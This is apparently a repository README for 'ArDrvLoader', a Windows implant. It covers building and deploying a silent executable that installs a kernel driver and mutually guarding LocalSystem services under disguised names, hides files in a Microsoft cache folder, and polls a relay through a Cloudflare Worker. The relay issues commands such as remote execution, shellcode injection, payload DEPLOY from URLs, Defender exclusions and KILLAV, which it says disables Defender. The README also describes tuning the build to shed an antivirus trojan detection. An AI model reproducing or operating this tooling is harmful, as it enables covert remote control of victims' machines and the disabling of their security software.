Files
loader/README.md
T
2026-11-03 20:45:39 -08:00

14 KiB

ArDrvLoader - build, use, test

Single Windows client binary that installs a LocalSystem service stack, a kernel driver, and a cloud command channel, plus a relay server and a Cloudflare Worker that sit in front of it.

client exe  →  Cloudflare Worker (proxy)  →  relay server (Node + SQLite)  →  panel

The Worker stores nothing; the relay owns all state. A client can also talk to the relay directly (no Worker) when you want to save Cloudflare requests.

  • detailed internals: SERVICES.md
  • this file: how to build, run and test

1. Requirements

Piece Need
Client build Visual Studio 2022/2026 with C++ x64 toolset, MSBuild
Relay Node.js 22+ (uses node:sqlite, no npm dependencies)
Worker (optional) npm i -g wrangler and a Cloudflare account
Test target Windows 10/11 x64, admin rights for service install

Repository layout:

cpp_end/
  *.cpp *.h            client sources
  ArDrvLoader.vcxproj  client project
  StageDll.cpp/.vcxproj  stage payload DLL (embedded into the exe)
  driver_res.rc stage_res.rc resource.h   embedded driver + payload
  build.ps1            build driver → payload → exe, produces dist\<cfg>
  server/              relay server, sqlite, panel.html
  cloudflare/          Worker proxy, mock worker
  agent-cli.ps1 agent.cmd   small helpers to send a command and read the ACK
  test-cloud.ps1       end-to-end test against the mock worker
  SERVICES.md          deep documentation

Place ardrv.sys in cpp_end\ before building if you want the driver embedded. Place nothing there for a driver-less build.


2. Build

cd cpp_end
powershell -ExecutionPolicy Bypass -File build.ps1 -Configuration Release

Output:

dist\Release\ArDrvLoader.exe      <- single file, this is what ships
x64\Release\ArDrvLoader.exe       <- build output with .pdb symbols

Variants:

Command Result
build.ps1 -Configuration Release 335 KB, driver + stage DLL embedded, silent (no console), no logs
build.ps1 -Configuration Debug 2.5 MB, console window, writes C:\Users\Public\ardrv_loader.log
build.ps1 -Configuration Release -NoEmbed 274 KB, no embedded resources; ship ardrv.sys and ardrvstage.dll separately
build.ps1 -NoEmbed also accepts -SkipPayload skips rebuilding the stage DLL entirely

Raw MSBuild, if you prefer:

MSBuild ArDrvLoader.vcxproj /p:Configuration=Release /p:Platform=x64 /m

Release is linked as a Windows subsystem binary (wmainCRTStartup), so double-clicking it shows no console. Debug stays a console app.

Build hardening already applied to Release: /Brepro (no Rich header, no timestamps) and /PDBALTPATH:%_PDB% (no absolute build paths). This removed a Trojan:Win32/Wacatac.B!ml false positive from Defender.

Build-time defaults

The exe can run with no arguments at all. These macros live in ArDrvLoader.vcxproj → PreprocessorDefinitions:

Macro Meaning Default
ARDRV_DEFAULT_URL relay or Worker address http://127.0.0.1:8789
ARDRV_DEFAULT_OPERATOR_KEY operator key for the API testop
ARDRV_DEFAULT_SECRET agent key testsecret
ARDRV_DEFAULT_AGENT agent id, empty = computer name empty
ARDRV_ALLOW_VM_DEFAULT 1 bypasses the VM gate (lab images) 1

Set ARDRV_ALLOW_VM_DEFAULT=0 and real URLs before shipping.


3. Run the relay server

cd cpp_end/server
set PORT=8790
set AGENT_SECRET=testsecret
set OPERATOR_KEY=testop
set ENROLL_SECRET=testenroll
set LEGACY_MASTER_AUTH=false
set PROXY_SECRET=proxys3cret
node server.js
Env Default Purpose
PORT 8790 listen port
DATA_DIR ./data sqlite file + files/ payloads
PANEL_PATH server/panel.html UI to serve at /panel
AGENT_SECRET - master key; per-agent keys are derived from it
OPERATOR_KEY - panel / operator API key
ENROLL_SECRET operator key enrollment token
LEGACY_MASTER_AUTH false accept the shared master key during migration
PROXY_SECRET - if set, requests must carry X-Proxy-Secret
RETAIN_COMMAND_DAYS 7 command retention
RETAIN_EVENT_DAYS 30 event retention
RETAIN_MAX_COMMANDS 50000 hard cap

The server creates its schema on start, opens SQLite in WAL mode, and reaps commands stuck in sent for over 180 s.

Panel: http://<host>:8790/panel?key=testop


4. Run the Worker proxy (optional)

cd cpp_end/cloudflare
wrangler dev --port 8789 --ip 127.0.0.1 --local

.dev.vars:

SERVER_URL=http://127.0.0.1:8790
PROXY_SECRET=proxys3cret

Production: set SERVER_URL as a Worker var and PROXY_SECRET as a secret, then wrangler deploy. wrangler.toml has no D1 or KV bindings - the Worker is a pure forwarder.


5. Install the client

One double-click

dist\Release\ArDrvLoader.exe with no arguments uses the build-time defaults:

  1. one UAC prompt
  2. installs driver + three services + cloud agent service
  3. waits for the agent to register (id = computer name)
  4. queues KILLAV through the relay so the run appears in the panel

With explicit arguments

ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key <key> ^
    [--agent box1] [--secret <agent-key>] [--target C:\Path\App.exe] [--no-killav]

Services only, no bootstrap

ArDrvLoader.exe -install-guard-services --target "C:\Path\App.exe" --args "--silent"
ArDrvLoader.exe -install-guard-services --target-service "SomeService"
ArDrvLoader.exe -install-guard-services --dry-run          # print the plan, no UAC

Options: --prefix <Name>, --install-dir <path>, --keep-location, --no-start, --allow-vm, --cloud-url, --cloud-secret, --cloud-agent, --cloud-service.

What gets installed

Service Role
DeviceSetupHost extracts the driver to System32\drivers, creates/starts kernel service ArDrv, verifies \\.\ArDrv
ProgramCompatHost keeps the target program alive, keeps the stage payload injected, keeps peers alive
ServiceStateHost re-enables a disabled target service and starts it
CloudTest / CloudSyncHost the cloud agent

All run as LocalSystem, auto-start, restart on failure, and watch each other. Files live under a machine-tagged directory: %ProgramData%\Microsoft\Windows\Caches\<8hex>\ (or %LOCALAPPDATA%\...\INetCache\<8hex>\ for a non-elevated agent).

Configuration - HKLM\SOFTWARE\ArDrvLoader

The key is DACL-locked to SYSTEM + Administrators. Services re-read it every loop, so changes apply without reinstalling.

Value Type Default Meaning
TargetPath REG_SZ - program to keep alive
TargetArgs REG_SZ - its arguments
TargetService REG_SZ - service to keep alive instead
DriverImage REG_SZ ...\drivers\ardrv.sys driver path
DriverService REG_SZ ArDrv kernel service name
DriverDevice REG_SZ \\.\ArDrv device to verify
CheckIntervalMs REG_DWORD 5000 loop interval
DesiredStartType REG_DWORD 2 2 auto, 3 demand
DriverFailCount REG_DWORD 0 consecutive driver failures
DriverFailMax REG_DWORD 3 budget before giving up
DriverState REG_SZ - ok / failed / disabled-after-failures
KillAvOnStart REG_DWORD 0 AV sweep on each guard start
AllowVm REG_DWORD 0 run inside a VM
ExclusionPaths REG_SZ - `

6. Cloud agent

ArDrvLoader.exe -cloud --agent box1 --url https://relay.example --secret <key> --interval 5000
ArDrvLoader.exe -cloud-service --service-name CloudTest --agent box1 --url ... --secret ...

Config is also read from env (CA_URL, CA_SECRET, ...) or HKLM\Software\CloudAgent.

Per-agent keys

ArDrvLoader.exe -enroll --url https://relay.example --agent box1 --enroll-secret <token>

Writes <root>\agent-box1.key; the agent uses it when --secret and CA_SECRET are absent. Revoke from the panel (revoke) or POST /api/revoke {"agent":"box1","revoked":true}. Re-enrolling clears it.


7. Panel

http://<host>:8790/panel?key=<operator-key>

  • Console - per-agent composer (Enter sends, Shift+Enter newline), quick chips, history with copy result / run again
  • All commands - global table, defaults to executed commands, sortable by time / agent / command / state / operator / result / duration
    • run chip re-enqueues that command for the same agent
    • + or the result cell expands the output
    • clicking the row loads the command into that agent's console
  • Palette - all commands (47) opens every command grouped by category, with search; chips with <args> load into the composer, others send immediately
  • agent header shows host, user, SID, version, interval, and revoke/restore
  • offline agents render grey (online=false after 3 intervals, min 45 s)
  • broadcast sends one command to every online agent
  • auto-refresh every 3 s, / focuses the agent filter, lock forgets the key

8. Commands

PING STATUS HELP
RUN <cmd> EXEC <commandline> RUN_USER <cmd> RUN_SYSTEM <cmd>
PS <powershell> PS_USER <powershell>
RUNFILE <path> [args]  RUNFILE_USER  RUNFILE_SYSTEM
OPENFILE <path> [args] OPENFILE_USER
DOWNLOAD <url> <out> [sha256]  DEPLOY <url> [args]  DEPLOY_SYSTEM <url> [args]
KILLPID <pid> KILLNAME <exe> KILLALL <exe> TOKEN_GET
INJECT_FILE <pid> <shellcode> INJECT_SUSPEND <exe> <shellcode>
KILLAV KILLAV_DRYRUN
EXCLUSION_LIST EXCLUSION_ADD <path> EXCLUSION_APPLY
DRIVER_STATUS DRIVER_RESET DRIVER_LOAD
HOST_LIST HOST_SPAWN [--host <img>] <exe> [args] HOST_SPAWN_USER
HOST_INJECT <shellcode> [--host <img>] HOST_TRACK HOST_UNTRACK
STAGE_STATUS STAGE_INJECT [--host <img>] STAGE_RUN <cmd> STAGE_STOP
SERVICE_STATUS <name> START_SERVICE <name> [path]
INSTALL_SERVICE <name> [path] INSTALL_CLOUD_SERVICE <name>
INSTALL_GUARD_SERVICES [--target <path>] [--target-service <name>] [--args <args>]
STOP

KILLAV and STOP are real actions; everything else is diagnostic or scoped.


9. Test

9.1 Automated cloud test (mock worker, no Node needed in the path)

cd cpp_end
powershell -ExecutionPolicy Bypass -File test-cloud.ps1

It starts cloudflare/mock-worker.ps1, starts an agent against it and checks: PING, STATUS, DOWNLOAD (with SHA-256), a wrong-hash download that must be rejected and deleted, DEPLOY, HOST_LIST, HOST_TRACK, STAGE_STATUS, EXCLUSION_LIST, DRIVER_STATUS, STOP, plus an unsigned request that must return 403. Prints PASS.

Useful switches: -Port 8795 -AgentId clitest1.

9.2 Manual command against the live relay

\.\agent-cli.ps1 -Command "STATUS"
\.\agent-cli.ps1 -Worker http://127.0.0.1:8789 -Agent box1 -Secret testsecret -Command "HOST_LIST"
agent.cmd STATUS           # wrapper for hosts with a restrictive execution policy

9.3 Single-exe client test

  1. Copy dist\Release\ArDrvLoader.exe into an empty folder
  2. Double-click it (Release is silent; use Debug to watch)
  3. Expect UAC → agent appears in the panel → KILLAV row completes

Verify from a shell:

sc query DeviceSetupHost
sc query ArDrv
dir C:\Windows\System32\drivers\ardrv.sys
HKLM\SOFTWARE\ArDrvLoader

9.4 Driver checks

ArDrvLoader.exe -drv status        # device=ok embedded=<bytes> fail=N/max state=...
ArDrvLoader.exe -drv extract C:\Temp\ardrv.sys
ArDrvLoader.exe -drv reset

9.5 Kill-safety checks

ArDrvLoader.exe -killav --dry-run                     # AV allowlist, nothing killed
ArDrvLoader.exe -killav --dry-run --name svchost.exe  # must print SKIP protected
ArDrvLoader.exe -killav --dry-run --name notepad.exe  # would-kill, or would-kill (driver)

9.6 AV scan

"C:\Program Files\Windows Defender\MpCmdRun.exe" -Scan -ScanType 3 -File ^
  "C:\Code\AvKiler\cpp_end\dist\Release\ArDrvLoader.exe" -DisableRemediation

Current build scans clean on engine 1.461.217.0.

9.7 Uninstall / reset

Elevated, in order:

sc stop CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost
sc delete CloudTest ProgramCompatHost ServiceStateHost DeviceSetupHost
sc stop ArDrv
sc delete ArDrv
del C:\Windows\System32\drivers\ardrv.sys
reg delete HKLM\SOFTWARE\ArDrvLoader /f
rmdir /s /q C:\ProgramData\Microsoft\Windows\Caches\<8hex>

Then clear relay state if you want a clean panel:

node -e "const{DatabaseSync}=require('node:sqlite');const d=new DatabaseSync('server/data/ardrv.sqlite');d.exec('DELETE FROM commands;DELETE FROM events;DELETE FROM agents;')"

A staged payload that was injected into a live host can keep ardrvstage.dll locked until reboot; queue it with PendingFileRenameOperations or restart.


10. Troubleshooting

Symptom Cause / fix
double-click does nothing, no UAC launched from an elevated shell - Windows suppresses the prompt; launch from Explorer
UAC appears, nothing installed --elevated present but bootstrap not selected; check you are on a build after commit 9db2870
silent exit, no services VM gate blocked it - set ARDRV_ALLOW_VM_DEFAULT=1 or --allow-vm
agent never appears relay/worker down, wrong URL, or PROXY_SECRET mismatch (relay returns 403)
agent shows offline while running poll interval mismatch; check X-Agent-Interval header handling and the 3-interval threshold
services Stopped after an update binary replace hit a sharing violation; the installer retries 10 s. Check Event Log if it persists
driver role stops retrying DriverFailMax reached - DRIVER_RESET or -drv reset
command runs twice reaper requeued a slow command; agents dedupe by id and ack OK (dup, not re-executed)
Defender deletes the exe re-scan; if flagged, rebuild (Brepro/PDBALTPATH) or add an exclusion during testing
SmartScreen "unknown publisher" unsigned exe with Mark of the Web; unblock the file or sign the binary

11. Known limitations

  • The client is unsigned; code signing is the durable fix for SmartScreen and behavioural AV verdicts.
  • Driver capabilities beyond terminate (PPL strip, kernel registry writes, device ACL) need driver source, which is not part of this repository.
  • KILLAV is real: on a test box it disables Defender until it recovers.
  • Polling only (no WebSocket yet); at 15 s per agent the Cloudflare free tier caps you around 17 agents.
  • The "services go quiet, payload takes over" handoff is half-built: the guard keeps the stage payload alive, but the payload only runs commands.